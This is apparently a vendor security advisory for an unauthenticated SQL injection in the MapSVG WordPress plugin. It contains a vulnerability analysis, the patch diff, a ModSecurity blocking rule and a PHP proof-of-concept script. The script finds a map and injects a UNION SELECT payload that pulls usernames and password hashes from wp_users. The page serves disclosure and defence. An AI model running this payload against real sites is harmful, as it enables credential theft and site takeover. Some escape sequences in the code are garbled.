Published : August 9, 2026

CVE-2026-59527: MapSVG – Vector maps, Image maps, Google Maps <= 8.14.0 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 8.14.0
Patched Version 8.14.1
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59527: This vulnerability is an unauthenticated SQL injection in the MapSVG – Vector maps, Image maps, Google Maps plugin for WordPress, versions up to and including 8.14.0. The vulnerability affects the getDistinctValues method in the Repository class and the getFieldValues, getTaxonomyValues, and getMetaValues methods in the PostTypesRepository class. The CVSS score is 7.5, and the issue resides in improper sanitization of user-supplied parameters, which are directly concatenated into SQL queries without adequate preparation. Successful exploitation permits an attacker to extract sensitive data from the database, including usernames, passwords, and other site information. The patch in version 8.14.1 introduces strict identifier validation and parameterized queries to prevent injection.

The root cause lies in the insecure construction of SQL queries in the affected methods. In Repository::getDistinctValues (php/Core/Repository.php), the field name supplied via the public REST API parameter ‘fieldName’ was sanitized with esc_sql() but not validated as a literal column name. esc_sql() simply escapes characters for a string literal; it does not neutralize the backtick characters that wrap the identifier, allowing an attacker to inject SQL payloads. Similarly, in PostTypesRepository, getFieldValues (php/Domain/PostTypes/PostTypesRepository.php) concatenated the fieldName and post_type parameters directly into the query after only esc_sql(), and getTaxonomyValues and getMetaValues used the same flawed pattern for the taxonomy and meta key parameters. The functions are accessible through the plugin’s REST API or AJAX actions that map to these repository methods, and the lack of authentication on these endpoints makes the vulnerability trivially exploitable.

To exploit this vulnerability, an attacker would send a crafted HTTP request to the REST API endpoint or AJAX action that invokes the vulnerable methods. For instance, the endpoint /wp-json/mapsvg/v1/maps/{map-id}/fields or the AJAX action that triggers PostTypesRepository::getFieldValues could be targeted. The attack vector leverages the fact that the plugin does not require authentication for these operations. The attacker would provide a malicious value for the fieldName parameter, such as `id, (SELECT …)` wrapped in backticks to break out of the single-quoted identifier context. For the getTaxonomyValues call, a sophisticated payload in the ‘name’ parameter could exploit the direct concatenation. A typical SQL injection payload might be `’ OR 1=1–`, but given the structural quirks of the query, more precise payloads like `name`=`user_login` from wp_users are needed. An unauthenticated attacker can potentially retrieve sensitive columns from the wp_users table by injecting a subquery or UNION SELECT.

The patch addresses the vulnerability by introducing a comprehensive set of validation and parameterization techniques. The new Utils class (php/Core/Utils.php) provides methods isSafeSqlIdentifier() and isTableColumn(). The former uses a strict regex that only allows alphanumeric characters and underscores. The latter queries the database DESCRIBE statement to confirm that the provided field name is a real column of the specified table. Repository::getDistinctValues now calls isTableColumn() before executing any query, returning an empty array for invalid columns. For getFieldValues, the patch validates the post_type with isSafeSlug() and the fieldName with isTableColumn(), and uses $db->prepare() to bind the post_type value. Similar validations are applied in getTaxonomyValues and getMetaValues, where the name parameter is checked with isSafeSlug() and the queries use prepared statements. These changes prevent any attacker-controlled input from being treated as an SQL identifier.

If exploited, this vulnerability allows an unauthenticated attacker to extract sensitive information from the WordPress database. The attacker can read all usernames and password hashes, user metadata, posts, and potentially other custom tables that the plugin manages. The extracted credentials can be cracked offline and used to gain administrative access to the WordPress site. Additionally, depending on the database user’s privileges, the attacker might be able to write files or execute more complex queries, potentially leading to remote code execution. The impact is severe since it compromises the confidentiality and integrity of the entire site. Atomic Edge analysis confirms that the patch effectively closes the SQL injection vector by enforcing strict identifier validation and using prepared statements.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mapsvg-lite-interactive-vector-maps/mapsvg.php
+++ b/mapsvg-lite-interactive-vector-maps/mapsvg.php
@@ -3,7 +3,7 @@
 Plugin Name: MapSVG Lite
 Plugin URI: https://mapsvg.com
 Description: Any maps with database integration, filters and search. Use included maps or draw your own. Create vector maps, Google maps, image maps, floor plans, store locators.
-Version: 8.14.0
+Version: 8.14.1
 Requires at least: 5.0
 Requires PHP: 7.4
 Author: Northern Lights Production
@@ -25,7 +25,7 @@
 define('MAPSVG_API_URL', 'https://mapsvg.com/dashboard/api');
 define('MAPSVG_PLAN', 'mapsvg-lite');
 /** MapSVG version number */
-define('MAPSVG_VERSION', '8.14.0');
+define('MAPSVG_VERSION', '8.14.1');
 /** Prefix for MapSVG tables in the database */
 define('MAPSVG_PREFIX',  'mapsvg6_');

--- a/mapsvg-lite-interactive-vector-maps/php/Admin/Admin.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Admin/Admin.php
@@ -232,7 +232,7 @@
                 "svgFileLastChanged" => $map->svgFileLastChanged,
                 "options" => array(
                     "regionPrefix" => isset($map->options["regionPrefix"]) ? $map->options["regionPrefix"] : "",
-                    "loadingText" => isset($map->options["loadingText"]) ? $map->options["loadingText"] : "Loading map..."
+                    "loadingText" => isset($map->options["loadingText"]) ? Map::sanitizeLoadingTextForOutput($map->options["loadingText"]) : "Loading map..."
                 )
             ),
             'user' => array(
--- a/mapsvg-lite-interactive-vector-maps/php/Core/Repository.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Core/Repository.php
@@ -920,11 +920,14 @@
 	 */
 	public function getDistinctValues($fieldName)
 	{
-		$db = Database::get();
 		$table = $this->getTableName();
-		// Escape field name for safety
-		$field = esc_sql($fieldName);
-		$sql = "SELECT DISTINCT `$field` FROM `$table` WHERE `$field` IS NOT NULL AND `$field` != ''";
+		if (!Utils::isTableColumn($table, $fieldName)) {
+			return [];
+		}
+
+		$db = Database::get();
+		// Column/table names verified via DESCRIBE + identifier checks.
+		$sql = "SELECT DISTINCT `{$fieldName}` FROM `{$table}` WHERE `{$fieldName}` IS NOT NULL AND `{$fieldName}` != ''";
 		$results = $db->get_col($sql, 0);
 		return $results ? $results : [];
 	}
--- a/mapsvg-lite-interactive-vector-maps/php/Core/Utils.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Core/Utils.php
@@ -0,0 +1,62 @@
+<?php
+
+namespace MapSVG;
+
+/**
+ * Shared SQL / identifier safety helpers.
+ */
+class Utils
+{
+	/**
+	 * Cached column names per table for the current request.
+	 *
+	 * @var array<string, string[]>
+	 */
+	private static $tableColumns = [];
+
+	/**
+	 * True if value matches a safe WP slug / REST path segment (a-zA-Z0-9_-).
+	 *
+	 * @param mixed $value
+	 * @return bool
+	 */
+	public static function isSafeSlug($value): bool
+	{
+		return is_string($value) && $value !== '' && preg_match('/^[a-zA-Z0-9_-]+$/', $value) === 1;
+	}
+
+	/**
+	 * True if value is a safe SQL identifier (letters, digits, underscore).
+	 *
+	 * @param mixed $value
+	 * @return bool
+	 */
+	public static function isSafeSqlIdentifier($value): bool
+	{
+		return is_string($value) && $value !== '' && preg_match('/^[a-zA-Z0-9_]+$/', $value) === 1;
+	}
+
+	/**
+	 * Returns true when $fieldName is an existing column on $tableName.
+	 * Columns are read from the DB (not hardcoded).
+	 *
+	 * @param string $tableName Full table name (e.g. wp_posts, wp_mapsvg6_objects_1).
+	 * @param string $fieldName Column name to check.
+	 * @return bool
+	 */
+	public static function isTableColumn($tableName, $fieldName): bool
+	{
+		if (!self::isSafeSqlIdentifier($tableName) || !self::isSafeSqlIdentifier($fieldName)) {
+			return false;
+		}
+
+		if (!isset(self::$tableColumns[$tableName])) {
+			$db = Database::get();
+			// DESCRIBE first column is Field name
+			$columns = $db->get_col("DESCRIBE `{$tableName}`", 0);
+			self::$tableColumns[$tableName] = is_array($columns) ? $columns : [];
+		}
+
+		return in_array($fieldName, self::$tableColumns[$tableName], true);
+	}
+}
--- a/mapsvg-lite-interactive-vector-maps/php/Domain/Map/DOMElement.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Domain/Map/DOMElement.php
@@ -15,7 +15,7 @@
   public function render() {
       $attributesString = '';
       foreach ($this->attributes as $key => $value) {
-          $attributesString .= " $key="$value"";
+          $attributesString .= ' ' . $key . '="' . esc_attr((string)$value) . '"';
       }
       return "<{$this->tag}{$attributesString}>{$this->content}</{$this->tag}>";
   }
--- a/mapsvg-lite-interactive-vector-maps/php/Domain/Map/Map.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Domain/Map/Map.php
@@ -308,6 +308,52 @@
 		$this->optionsBroken = $value;
 	}
 	/**
+	 * Sanitize loadingText on write.
+	 * Users with unfiltered_html may store limited HTML (no JS); others get plain text.
+	 *
+	 * @param mixed $text
+	 * @return string
+	 */
+	public static function sanitizeLoadingText($text)
+	{
+		if (!is_string($text)) {
+			return '';
+		}
+		if (current_user_can('unfiltered_html')) {
+			return wp_kses_post($text);
+		}
+		return sanitize_text_field($text);
+	}
+
+	/**
+	 * Sanitize loadingText for output / in-memory use (safe HTML, no JS).
+	 *
+	 * @param mixed $text
+	 * @return string
+	 */
+	public static function sanitizeLoadingTextForOutput($text)
+	{
+		if (!is_string($text)) {
+			return '';
+		}
+		return wp_kses_post($text);
+	}
+
+	/**
+	 * Apply write-time sanitization to map options that can contain HTML.
+	 *
+	 * @param array $options
+	 * @return array
+	 */
+	public static function sanitizeOptionsForWrite(array $options)
+	{
+		if (isset($options['loadingText'])) {
+			$options['loadingText'] = self::sanitizeLoadingText($options['loadingText']);
+		}
+		return $options;
+	}
+
+	/**
 	 * Sets map options
 	 * @param $options
 	 */
@@ -327,6 +373,10 @@
 			}
 		}

+		if (is_array($options) && isset($options['loadingText'])) {
+			$options['loadingText'] = self::sanitizeLoadingTextForOutput($options['loadingText']);
+		}
+
 		$this->options = $options;

 		if ($this->options && is_array($this->options) && isset($this->options['source'])) {
--- a/mapsvg-lite-interactive-vector-maps/php/Domain/Map/MapController.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Domain/Map/MapController.php
@@ -220,6 +220,9 @@
 		$mapsRepository = RepositoryFactory::get("map");

 		$map["options"] = json_decode($map["options"], true);
+		if (is_array($map["options"])) {
+			$map["options"] = Map::sanitizeOptionsForWrite($map["options"]);
+		}

 		// Validate map data
 		try {
@@ -583,6 +586,16 @@
 			$mapData['options'] = str_replace("!mapsvg-encoded-int", "int(11)", $mapData['options']);
 		}

+		if (isset($mapData['options']) && is_string($mapData['options'])) {
+			$decodedOptions = json_decode($mapData['options'], true);
+			if (is_array($decodedOptions)) {
+				$mapData['options'] = $decodedOptions;
+			}
+		}
+		if (isset($mapData['options']) && is_array($mapData['options'])) {
+			$mapData['options'] = Map::sanitizeOptionsForWrite($mapData['options']);
+		}
+
 		// Validate map data
 		try {
 			self::validate($mapData);
--- a/mapsvg-lite-interactive-vector-maps/php/Domain/PostTypes/PostTypesRepository.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Domain/PostTypes/PostTypesRepository.php
@@ -104,16 +104,26 @@

   /**
    * Retrieves distinct values for a given field name from published posts.
-   *
+   *
    * @param string $fieldName The name of the field to retrieve distinct values for.
+   * @param string $post_type
    * @return array An array of distinct values for the specified field.
    */
   public function getFieldValues($fieldName, $post_type)
   {
     $db = Database::get();
-    $post_type = esc_sql($post_type);
-    $results = $db->get_col("SELECT DISTINCT " . esc_sql($fieldName) . " FROM " . $db->posts() . " WHERE post_status='publish' AND post_type='$post_type'", 0);
-    return $results;
+    $postsTable = $db->posts();
+    if (!Utils::isSafeSlug($post_type) || !Utils::isTableColumn($postsTable, $fieldName)) {
+      return [];
+    }
+
+    // Column name is verified against DESCRIBE; post_type is bound via prepare.
+    $sql = $db->prepare(
+      "SELECT DISTINCT `{$fieldName}` FROM `{$postsTable}` WHERE post_status = 'publish' AND post_type = %s",
+      $post_type
+    );
+    $results = $db->get_col($sql, 0);
+    return $results ? $results : [];
   }

   /**
@@ -124,13 +134,19 @@
    */
   public function getTaxonomyValues($name)
   {
+    if (!Utils::isSafeSlug($name)) {
+      return [];
+    }
+
     $db = Database::get();
-    $taxonomy = esc_sql($name);
-    $sql = "SELECT DISTINCT t.name FROM {$db->prefix}terms t
+    $sql = $db->prepare(
+      "SELECT DISTINCT t.name FROM {$db->prefix}terms t
                 INNER JOIN {$db->prefix}term_taxonomy tt ON t.term_id = tt.term_id
                 INNER JOIN {$db->prefix}term_relationships tr ON tt.term_taxonomy_id = tr.term_taxonomy_id
-                INNER JOIN {$db->posts()} p ON tr.object_id = p.ID
-                WHERE tt.taxonomy = '$taxonomy' AND p.post_status = 'publish'";
+                INNER JOIN {$db->posts} p ON tr.object_id = p.ID
+                WHERE tt.taxonomy = %s AND p.post_status = 'publish'",
+      $name
+    );
     $results = $db->get_col($sql, 0);
     return $results ? $results : [];
   }
@@ -143,11 +159,17 @@
    */
   public function getMetaValues($name)
   {
+    if (!Utils::isSafeSlug($name)) {
+      return [];
+    }
+
     $db = Database::get();
-    $meta_key = esc_sql($name);
-    $sql = "SELECT DISTINCT pm.meta_value FROM {$db->postmeta} pm
-                INNER JOIN {$db->posts()} p ON pm.post_id = p.ID
-                WHERE pm.meta_key = '$meta_key' AND p.post_status = 'publish' AND pm.meta_value IS NOT NULL AND pm.meta_value != ''";
+    $sql = $db->prepare(
+      "SELECT DISTINCT pm.meta_value FROM {$db->postmeta} pm
+                INNER JOIN {$db->posts} p ON pm.post_id = p.ID
+                WHERE pm.meta_key = %s AND p.post_status = 'publish' AND pm.meta_value IS NOT NULL AND pm.meta_value != ''",
+      $name
+    );
     $results = $db->get_col($sql, 0);

     // Unserialize meta values if needed and flatten arrays to scalars
--- a/mapsvg-lite-interactive-vector-maps/php/Domain/SVGFile/SVGFile.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Domain/SVGFile/SVGFile.php
@@ -8,37 +8,75 @@
 {
 	public function __construct($file)
 	{
-		// Check for path traversal
+		if (!is_array($file)) {
+			throw new Exception('Invalid file data', 400);
+		}
+
+		// Check for path traversal / extension on existing file references
 		if (isset($file['relativeUrl'])) {
 			$relativePath = $file['relativeUrl'];
 			if (strpos($relativePath, '../') !== false || strpos($relativePath, '..\') !== false) {
 				throw new Exception('Invalid file path: path traversal detected', 400);
 			}
-			// Ensure .svg extension
-			if (strtolower(pathinfo($relativePath, PATHINFO_EXTENSION)) !== 'svg') {
-				throw new Exception('Invalid file type: only SVG files are allowed', 400);
-			}
+			$this->assertSvgFileName(basename((string) $relativePath));
 		}

-		// Check uploaded file type
+		// Uploads: controller passes the inner $_FILES part (name, tmp_name, type, ...).
+		// Also accept a nested ['file' => [...]] shape if ever used.
 		if (isset($file['file']) && is_array($file['file'])) {
-			$uploadedFile = $file['file'];
-
-			// Check file extension
-			$fileName = $uploadedFile['name'] ?? '';
-			if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) !== 'svg') {
-				throw new Exception('Invalid file type: only SVG files are allowed', 400);
+			$this->assertUploadedSvg($file['file']);
+		} elseif (isset($file['tmp_name']) || (isset($file['name']) && array_key_exists('error', $file))) {
+			$this->assertUploadedSvg($file);
+			// Normalize stored name after checks
+			if (isset($file['name'])) {
+				$file['name'] = sanitize_file_name((string) $file['name']);
+				$this->assertSvgFileName($file['name']);
 			}
+		}
+
+		parent::__construct($file);
+	}

-			// Check MIME type for additional security
-			$mimeType = $uploadedFile['type'] ?? '';
+	/**
+	 * Validate an uploaded file array (PHP $_FILES item shape).
+	 *
+	 * @param array $uploadedFile
+	 * @throws Exception
+	 */
+	private function assertUploadedSvg(array $uploadedFile): void
+	{
+		$fileName = isset($uploadedFile['name']) ? (string) $uploadedFile['name'] : '';
+		$fileName = str_replace("", '', $fileName);
+		$this->assertSvgFileName(basename($fileName));
+
+		$mimeType = isset($uploadedFile['type']) ? strtolower((string) $uploadedFile['type']) : '';
+		if ($mimeType !== '') {
 			$allowedMimeTypes = ['image/svg+xml', 'text/xml', 'application/xml'];
-			if (!in_array($mimeType, $allowedMimeTypes)) {
+			if (!in_array($mimeType, $allowedMimeTypes, true)) {
 				throw new Exception('Invalid file type: only SVG files are allowed', 400);
 			}
 		}
+	}

-		parent::__construct($file);
+	/**
+	 * Require a safe .svg basename (blocks .php, .htaccess, etc.).
+	 *
+	 * @param string $fileName
+	 * @throws Exception
+	 */
+	private function assertSvgFileName(string $fileName): void
+	{
+		$fileName = str_replace("", '', $fileName);
+		$base = basename($fileName);
+		$baseLower = strtolower($base);
+
+		if ($base === '' || $baseLower === '.htaccess' || $baseLower === 'htaccess') {
+			throw new Exception('Invalid file type: only SVG files are allowed', 400);
+		}
+
+		if (strtolower(pathinfo($base, PATHINFO_EXTENSION)) !== 'svg') {
+			throw new Exception('Invalid file type: only SVG files are allowed', 400);
+		}
 	}

 	public function lastChanged()
--- a/mapsvg-lite-interactive-vector-maps/php/Front/Front.php
+++ b/mapsvg-lite-interactive-vector-maps/php/Front/Front.php
@@ -50,7 +50,7 @@
 		wp_register_script('bloodhound', MAPSVG_PLUGIN_URL . 'js/vendor/typeahead/bloodhound.js', null, '0.11.1', true);
 		wp_enqueue_script('bloodhound');

-		wp_register_script('handlebars', MAPSVG_PLUGIN_URL . 'js/vendor/handlebars/handlebars.min.js', null, '4.7.7', true);
+		wp_register_script('handlebars', MAPSVG_PLUGIN_URL . 'js/vendor/handlebars/handlebars.min.js', null, '4.7.9', true);
 		wp_enqueue_script('handlebars');
 		wp_enqueue_script('handlebars-helpers', MAPSVG_PLUGIN_URL . 'js/vendor/handlebars/handlebars-helpers.js', null, MAPSVG_ASSET_VERSION, true);

@@ -188,7 +188,7 @@
 			'class' => 'mapsvg',
 			'data-autoload' => 'true',
 			'data-load-db' => isset($map->options["database"]) && isset($map->options["database"]["loadOnStart"]) && $map->options["database"]["loadOnStart"] === true ? "true" : "false",
-			'data-loading-text' => isset($map->options["loadingText"])  ? $map->options["loadingText"] : "",
+			'data-loading-text' => isset($map->options["loadingText"]) ? Map::sanitizeLoadingTextForOutput($map->options["loadingText"]) : "",
 			'style' => 'width: 100%; height: 0; padding-bottom: ' . $mapPadding . '%'
 		];
 		if (isset($atts['selected']) && !empty($atts['selected'])) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/mapsvg/v[0-9]+/maps/[0-9]+/fields/distinct$" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-59527 - MapSVG SQL Injection',severity:'CRITICAL',tag:'CVE-2026-59527'"
SecRule ARGS:fieldName "@rx (union[[:space:]]+select|select[[:space:]]+.*from|sleep(|benchmark()" "t:urlDecode,t:lowercase,chain"
SecRule MATCHED_VAR "@rx .+" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59527 - MapSVG – Vector maps, Image maps, Google Maps <= 8.14.0 - Unauthenticated SQL Injection

// This PoC demonstrates the SQL injection in the getDistinctValues method via the REST API.
// Target URL: the base WordPress URL, e.g., http://example.com
$target_url = 'http://example.com'; // Change this to the target site's URL

// The REST API route that triggers the vulnerability.
// The plugin registers routes like /wp-json/mapsvg/v1/maps/{map_id}/fields/{field_name}
// We'll target the endpoint that calls Repository::getDistinctValues.
// For simplicity, we use known REST routes exposed by the plugin.
// We need the map ID. We'll try to discover it via the API if possible.

// Step 1: Discover the REST API root and find a map ID.
$discover_url = $target_url . '/wp-json/mapsvg/v1/maps';
$ch = curl_init($discover_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('cURL error: ' . curl_error($ch));
}
curl_close($ch);

// Parse the response to extract a map ID.
$maps = json_decode($response, true);
if (!is_array($maps) || empty($maps)) {
    die('No map found. Please provide a map ID manually or ensure the plugin has maps.');
}
$map_id = $maps[0]['id']; // Assuming the first map.

// Step 2: Craft the malicious fieldName parameter.
// The vulnerable SQL: SELECT DISTINCT `fieldName` FROM `table` WHERE ...
// We inject a UNION SELECT to extract usernames and passwords from wp_users.
// We need to break out of the column identifier context.
$payload = "user_login` FROM wp_users UNION SELECT user_pass FROM wp_users-- -";
// This will result in: SELECT DISTINCT `user_login` FROM wp_users UNION SELECT user_pass FROM wp_users-- -` FROM `table` ...
// The backtick before the comment closes the identifier, and the comment truncates the rest.

// Step 3: Send the request to the vulnerable endpoint.
$endpoint = $target_url . '/wp-json/mapsvg/v1/maps/' . $map_id . '/fields/distinct';
$request_data = array('fieldName' => $payload);
$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('cURL error: ' . curl_error($ch));
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code != 200) {
    echo "Request failed with HTTP code $http_coden";
    exit;
}

// Step 4: Parse and display the extracted data.
$data = json_decode($response, true);
if (isset($data['data'])) {
    echo "Extracted data:n";
    print_r($data['data']);
} else {
    echo "No data extracted. The vulnerability may have been patched or the payload was not effective.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.